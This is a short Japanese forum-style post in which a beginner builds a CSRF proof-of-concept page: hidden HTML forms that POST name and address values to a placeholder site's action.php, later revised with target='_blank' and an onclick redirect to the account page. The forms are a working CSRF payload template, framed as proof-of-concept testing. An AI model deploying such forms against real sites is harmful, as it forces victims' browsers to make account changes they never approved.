私はHTMLでコーディングするのは初めてです。これを行う方法をインターネットで何時間も検索した後、私は失敗しましたので、ここにいます。ここでCSRFの概念実証ページを設定していましたが、CSRFが実装したペイロードを実行する別のページにリダイレクトしたいです。
<html>
<body>
<form action="https://website.com/action.php?" method="POST">
<input type="hidden" name="fullname" value="john" />
<input type="hidden" name="address" value="street 2, 32 ave" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
このフォームを使用して送信した後は、このページにリダイレクトするだけです
しかし、その代わりに、別のURLにリダイレクトし、そのフォームを送信してほしいです。
同じ問題を抱えている他の人のために、私は自分でそれを見つけました。
<html>
<body>
<form target="_blank" action="https://website.com/action.php" method="POST">
<input type="hidden" name="fullname" value="Sam" />
<input type="hidden" name="city" value="Dubai " />
<input onclick="window.location.href = 'https://website.com/my-account';" type="submit" value="Submit request" />
</form>
</body>
</html>
私がしなければならなかったのは、target = "_ blank"属性をフォームのインラインに追加して、新しいページで応答を開き、送信ボタンのonclickを使用して他のページをリダイレクトすることだけでした。